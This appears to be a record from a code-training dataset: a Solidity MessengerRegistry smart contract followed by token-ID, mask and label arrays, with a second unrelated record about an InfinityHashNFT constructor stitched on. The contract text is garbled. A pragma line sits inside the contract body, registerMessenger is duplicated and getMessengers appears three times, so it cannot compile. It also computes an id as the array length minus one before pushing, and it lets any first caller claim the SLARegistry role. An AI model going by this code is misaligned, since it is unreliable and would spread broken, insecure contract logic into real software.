require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
|
* @title MessengerRegistry @dev MessengerRegistry is a contract to register openly distributed Messengers/
|
contract MessengerRegistry {
pragma solidity 0.6.6;
struct Messenger {
address ownerAddress;
address messengerAddress;
string specificationUrl;
uint256 precision;
uint256 requestsCounter;
uint256 fulfillsCounter;
uint256 id;
}
event MessengerRegistered(
address indexed ownerAddress,
address indexed messengerAddress,
string specificationUrl,
uint256 precision,
uint256 id
);
event MessengerModified(
address indexed ownerAddress,
address indexed messengerAddress,
string specificationUrl,
uint256 precision,
uint256 id
);
Messenger[] public messengers;
mapping(address => bool) public registeredMessengers;
mapping(address => uint256[]) public ownerMessengers;
address public slaRegistry;
function setSLARegistry() external {
require(
address(slaRegistry) == address(0),
"SLARegistry address has already been set"
);
slaRegistry = msg.sender;
}
function registerMessenger(
address _callerAddress,
address _messengerAddress,
string calldata _specificationUrl
) external {
require(
msg.sender == slaRegistry,
"Should only be called using the SLARegistry contract"
);
require(
!registeredMessengers[_messengerAddress],
"messenger already registered"
);
IMessenger messenger = IMessenger(_messengerAddress);
address messengerOwner = messenger.owner();
require(
messengerOwner == _callerAddress,
"Should only be called by the messenger owner"
);
uint256 precision = messenger.messengerPrecision();
uint256 requestsCounter = messenger.requestsCounter();
uint256 fulfillsCounter = messenger.fulfillsCounter();
registeredMessengers[_messengerAddress] = true;
uint256 id = messengers.length - 1;
ownerMessengers[messengerOwner].push(id);
messengers.push(
Messenger({
ownerAddress: messengerOwner,
messengerAddress: _messengerAddress,
specificationUrl: _specificationUrl,
precision: precision,
requestsCounter: requestsCounter,
fulfillsCounter: fulfillsCounter,
id: id
})
);
emit MessengerRegistered(
messengerOwner,
_messengerAddress,
_specificationUrl,
precision,
id
);
}
function registerMessenger(
address _callerAddress,
address _messengerAddress,
string calldata _specificationUrl
) external {
require(
msg.sender == slaRegistry,
"Should only be called using the SLARegistry contract"
);
require(
!registeredMessengers[_messengerAddress],
"messenger already registered"
);
IMessenger messenger = IMessenger(_messengerAddress);
address messengerOwner = messenger.owner();
require(
messengerOwner == _callerAddress,
"Should only be called by the messenger owner"
);
uint256 precision = messenger.messengerPrecision();
uint256 requestsCounter = messenger.requestsCounter();
uint256 fulfillsCounter = messenger.fulfillsCounter();
registeredMessengers[_messengerAddress] = true;
uint256 id = messengers.length - 1;
ownerMessengers[messengerOwner].push(id);
messengers.push(
Messenger({
ownerAddress: messengerOwner,
messengerAddress: _messengerAddress,
specificationUrl: _specificationUrl,
precision: precision,
requestsCounter: requestsCounter,
fulfillsCounter: fulfillsCounter,
id: id
})
);
emit MessengerRegistered(
messengerOwner,
_messengerAddress,
_specificationUrl,
precision,
id
);
}
function modifyMessenger(
string calldata _specificationUrl,
uint256 _messengerId
) external {
Messenger storage storedMessenger = messengers[_messengerId];
IMessenger messenger = IMessenger(storedMessenger.messengerAddress);
require(
msg.sender == messenger.owner(),
"Can only be modified by the owner"
);
storedMessenger.specificationUrl = _specificationUrl;
storedMessenger.ownerAddress = msg.sender;
emit MessengerModified(
storedMessenger.ownerAddress,
storedMessenger.messengerAddress,
storedMessenger.specificationUrl,
storedMessenger.precision,
storedMessenger.id
);
}
function getMessengers() external view returns (Messenger[] memory) {
Messenger[] memory returnMessengers =
new Messenger[](messengers.length);
for (uint256 index = 0; index < messengers.length; index++) {
IMessenger messenger =
IMessenger(messengers[index].messengerAddress);
uint256 requestsCounter = messenger.requestsCounter();
uint256 fulfillsCounter = messenger.fulfillsCounter();
returnMessengers[index] = Messenger({
ownerAddress: messengers[index].ownerAddress,
messengerAddress: messengers[index].messengerAddress,
specificationUrl: messengers[index].specificationUrl,
precision: messengers[index].precision,
requestsCounter: requestsCounter,
fulfillsCounter: fulfillsCounter,
id: messengers[index].id
});
}
return returnMessengers;
}
function getMessengers() external view returns (Messenger[] memory) {
Messenger[] memory returnMessengers =
new Messenger[](messengers.length);
for (uint256 index = 0; index < messengers.length; index++) {
IMessenger messenger =
IMessenger(messengers[index].messengerAddress);
uint256 requestsCounter = messenger.requestsCounter();
uint256 fulfillsCounter = messenger.fulfillsCounter();
returnMessengers[index] = Messenger({
ownerAddress: messengers[index].ownerAddress,
messengerAddress: messengers[index].messengerAddress,
specificationUrl: messengers[index].specificationUrl,
precision: messengers[index].precision,
requestsCounter: requestsCounter,
fulfillsCounter: fulfillsCounter,
id: messengers[index].id
});
}
return returnMessengers;
}
function getMessengers() external view returns (Messenger[] memory) {
Messenger[] memory returnMessengers =
new Messenger[](messengers.length);
for (uint256 index = 0; index < messengers.length; index++) {
IMessenger messenger =
IMessenger(messengers[index].messengerAddress);
uint256 requestsCounter = messenger.requestsCounter();
uint256 fulfillsCounter = messenger.fulfillsCounter();
returnMessengers[index] = Messenger({
ownerAddress: messengers[index].ownerAddress,
messengerAddress: messengers[index].messengerAddress,
specificationUrl: messengers[index].specificationUrl,
precision: messengers[index].precision,
requestsCounter: requestsCounter,
fulfillsCounter: fulfillsCounter,
id: messengers[index].id
});
}
return returnMessengers;
}
function getMessengersLength() external view returns (uint256) {
return messengers.length;
}
}
| 1,570,472 |
[
1,
4625,
348,
7953,
560,
30,
380,
632,
2649,
490,
18912,
4243,
632,
5206,
490,
18912,
4243,
353,
279,
6835,
358,
1744,
1696,
715,
16859,
490,
403,
275,
6215,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
490,
18912,
4243,
288,
203,
683,
9454,
18035,
560,
374,
18,
26,
18,
26,
31,
203,
565,
1958,
490,
18912,
288,
203,
3639,
1758,
3410,
1887,
31,
203,
3639,
1758,
31086,
1887,
31,
203,
3639,
533,
7490,
1489,
31,
203,
3639,
2254,
5034,
6039,
31,
203,
3639,
2254,
5034,
3285,
4789,
31,
203,
3639,
2254,
5034,
22290,
87,
4789,
31,
203,
3639,
2254,
5034,
612,
31,
203,
565,
289,
203,
203,
203,
565,
871,
490,
18912,
10868,
12,
203,
3639,
1758,
8808,
3410,
1887,
16,
203,
3639,
1758,
8808,
31086,
1887,
16,
203,
3639,
533,
7490,
1489,
16,
203,
3639,
2254,
5034,
6039,
16,
203,
3639,
2254,
5034,
612,
203,
565,
11272,
203,
203,
565,
871,
490,
18912,
4575,
12,
203,
3639,
1758,
8808,
3410,
1887,
16,
203,
3639,
1758,
8808,
31086,
1887,
16,
203,
3639,
533,
7490,
1489,
16,
203,
3639,
2254,
5034,
6039,
16,
203,
3639,
2254,
5034,
612,
203,
565,
11272,
203,
203,
565,
490,
18912,
8526,
1071,
12755,
275,
6215,
31,
203,
565,
2874,
12,
2867,
516,
1426,
13,
1071,
4104,
49,
403,
275,
6215,
31,
203,
565,
2874,
12,
2867,
516,
2254,
5034,
63,
5717,
1071,
3410,
49,
403,
275,
6215,
31,
203,
565,
1758,
1071,
2020,
69,
4243,
31,
203,
565,
445,
13928,
2534,
4243,
1435,
3903,
288,
203,
3639,
2583,
12,
203,
5411,
1758,
12,
2069,
69,
4243,
13,
422,
1758,
12,
20,
3631,
203,
5411,
315,
55,
2534,
4243,
1758,
711,
1818,
2118,
444,
6,
203,
3639,
11272,
203,
203,
3639,
2020,
69,
4243,
273,
1234,
18,
15330,
31,
203,
565,
289,
203,
203,
565,
445,
1744,
29329,
12,
203,
3639,
1758,
389,
16140,
1887,
16,
203,
3639,
1758,
389,
81,
18912,
1887,
16,
203,
3639,
533,
745,
892,
389,
31543,
1489,
203,
565,
262,
3903,
288,
203,
3639,
2583,
12,
203,
5411,
1234,
18,
15330,
422,
2020,
69,
4243,
16,
203,
5411,
315,
14309,
1338,
506,
2566,
1450,
326,
348,
2534,
4243,
6835,
6,
203,
3639,
11272,
203,
3639,
2583,
12,
203,
5411,
401,
14327,
49,
403,
275,
6215,
63,
67,
81,
18912,
1887,
6487,
203,
5411,
315,
81,
18912,
1818,
4104,
6,
203,
3639,
11272,
203,
203,
3639,
6246,
18912,
31086,
273,
6246,
18912,
24899,
81,
18912,
1887,
1769,
203,
3639,
1758,
31086,
5541,
273,
31086,
18,
8443,
5621,
203,
3639,
2583,
12,
203,
5411,
31086,
5541,
422,
389,
16140,
1887,
16,
203,
5411,
315,
14309,
1338,
506,
2566,
635,
326,
31086,
3410,
6,
203,
3639,
11272,
203,
3639,
2254,
5034,
6039,
273,
31086,
18,
81,
18912,
15410,
5621,
203,
3639,
2254,
5034,
3285,
4789,
273,
31086,
18,
11420,
4789,
5621,
203,
3639,
2254,
5034,
22290,
87,
4789,
273,
31086,
18,
2706,
5935,
87,
4789,
5621,
203,
3639,
4104,
49,
403,
275,
6215,
63,
67,
81,
18912,
1887,
65,
273,
638,
31,
203,
3639,
2254,
5034,
612,
273,
12755,
275,
6215,
18,
2469,
300,
404,
31,
203,
3639,
3410,
49,
403,
275,
6215,
63,
81,
18912,
5541,
8009,
6206,
12,
350,
1769,
203,
203,
3639,
12755,
275,
6215,
18,
6206,
12,
203,
5411,
490,
18912,
12590,
203,
7734,
3410,
1887,
30,
31086,
5541,
16,
203,
7734,
31086,
1887,
30,
389,
81,
18912,
1887,
16,
203,
7734,
7490,
1489,
30,
389,
31543,
1489,
16,
203,
7734,
6039,
30,
6039,
16,
203,
7734,
3285,
4789,
30,
3285,
4789,
16,
203,
7734,
22290,
87,
4789,
30,
22290,
87,
4789,
16,
203,
7734,
612,
30,
612,
203,
5411,
289,
13,
203,
3639,
11272,
203,
203,
3639,
3626,
490,
18912,
10868,
12,
203,
5411,
31086,
5541,
16,
203,
5411,
389,
81,
18912,
1887,
16,
203,
5411,
389,
31543,
1489,
16,
203,
5411,
6039,
16,
203,
5411,
612,
203,
3639,
11272,
203,
565,
289,
203,
203,
565,
445,
1744,
29329,
12,
203,
3639,
1758,
389,
16140,
1887,
16,
203,
3639,
1758,
389,
81,
18912,
1887,
16,
203,
3639,
533,
745,
892,
389,
31543,
1489,
203,
565,
262,
3903,
288,
203,
3639,
2583,
12,
203,
5411,
1234,
18,
15330,
422,
2020,
69,
4243,
16,
203,
5411,
315,
14309,
1338,
506,
2566,
1450,
326,
348,
2534,
4243,
6835,
6,
203,
3639,
11272,
203,
3639,
2583,
12,
203,
5411,
401,
14327,
49,
403,
275,
6215,
63,
67,
81,
18912,
1887,
6487,
203,
5411,
315,
81,
18912,
1818,
4104,
6,
203,
3639,
11272,
203,
203,
3639,
6246,
18912,
31086,
273,
6246,
18912,
24899,
81,
18912,
1887,
1769,
203,
3639,
1758,
31086,
5541,
273,
31086,
18,
8443,
5621,
203,
3639,
2583,
12,
203,
5411,
31086,
5541,
422,
389,
16140,
1887,
16,
203,
5411,
315,
14309,
1338,
506,
2566,
635,
326,
31086,
3410,
6,
203,
3639,
11272,
203,
3639,
2254,
5034,
6039,
273,
31086,
18,
81,
18912,
15410,
5621,
203,
3639,
2254,
5034,
3285,
4789,
273,
31086,
18,
11420,
4789,
5621,
203,
3639,
2254,
5034,
22290,
87,
4789,
273,
31086,
18,
2706,
5935,
87,
4789,
5621,
203,
3639,
4104,
49,
403,
275,
6215,
63,
67,
81,
18912,
1887,
65,
273,
638,
31,
203,
3639,
2254,
5034,
612,
273,
12755,
275,
6215,
18,
2469,
300,
404,
31,
203,
3639,
3410,
49,
403,
275,
6215,
63,
81,
18912,
5541,
8009,
6206,
12,
350,
1769,
203,
203,
3639,
12755,
275,
6215,
18,
6206,
12,
203,
5411,
490,
18912,
12590,
203,
7734,
3410,
1887,
30,
31086,
5541,
16,
203,
7734,
31086,
1887,
30,
389,
81,
18912,
1887,
16,
203,
7734,
7490,
1489,
30,
389,
31543,
1489,
16,
203,
7734,
6039,
30,
6039,
16,
203,
7734,
3285,
4789,
30,
3285,
4789,
16,
203,
7734,
22290,
87,
4789,
30,
22290,
87,
4789,
16,
203,
7734,
612,
30,
612,
203,
5411,
289,
13,
203,
3639,
11272,
203,
203,
3639,
3626,
490,
18912,
10868,
12,
203,
5411,
31086,
5541,
16,
203,
5411,
389,
81,
18912,
1887,
16,
203,
5411,
389,
31543,
1489,
16,
203,
5411,
6039,
16,
203,
5411,
612,
203,
3639,
11272,
203,
565,
289,
203,
203,
565,
445,
5612,
29329,
12,
203,
3639,
533,
745,
892,
389,
31543,
1489,
16,
203,
3639,
2254,
5034,
389,
81,
18912,
548,
203,
565,
262,
3903,
288,
203,
3639,
490,
18912,
2502,
4041,
29329,
273,
12755,
275,
6215,
63,
67,
81,
18912,
548,
15533,
203,
3639,
6246,
18912,
31086,
273,
6246,
18912,
12,
22601,
29329,
18,
81,
18912,
1887,
1769,
203,
3639,
2583,
2
] |
./full_match/1/0x07ac5ef104b9E4FBc4f437b77F24E97db2A68c8a/sources/contracts/InfinityHashNFT.sol
|
* @notice Constructor @dev Ownership is transferred on deployment time @dev Stablecoin is set on deployment time only @param _owner The owner of the contract @param _stablecoin The stablecoin address/
|
constructor(address _owner, address _stablecoin) ERC1155("") {
_transferOwnership(_owner);
STABLECOIN = _stablecoin;
}
| 5,004,286 |
[
1,
4625,
348,
7953,
560,
30,
380,
632,
20392,
11417,
632,
5206,
14223,
9646,
5310,
353,
906,
4193,
603,
6314,
813,
632,
5206,
934,
429,
12645,
353,
444,
603,
6314,
813,
1338,
632,
891,
389,
8443,
1021,
3410,
434,
326,
6835,
632,
891,
389,
15021,
12645,
1021,
14114,
12645,
1758,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
3885,
12,
2867,
389,
8443,
16,
1758,
389,
15021,
12645,
13,
4232,
39,
2499,
2539,
2932,
7923,
288,
203,
3639,
389,
13866,
5460,
12565,
24899,
8443,
1769,
203,
3639,
2347,
2782,
3865,
706,
273,
389,
15021,
12645,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
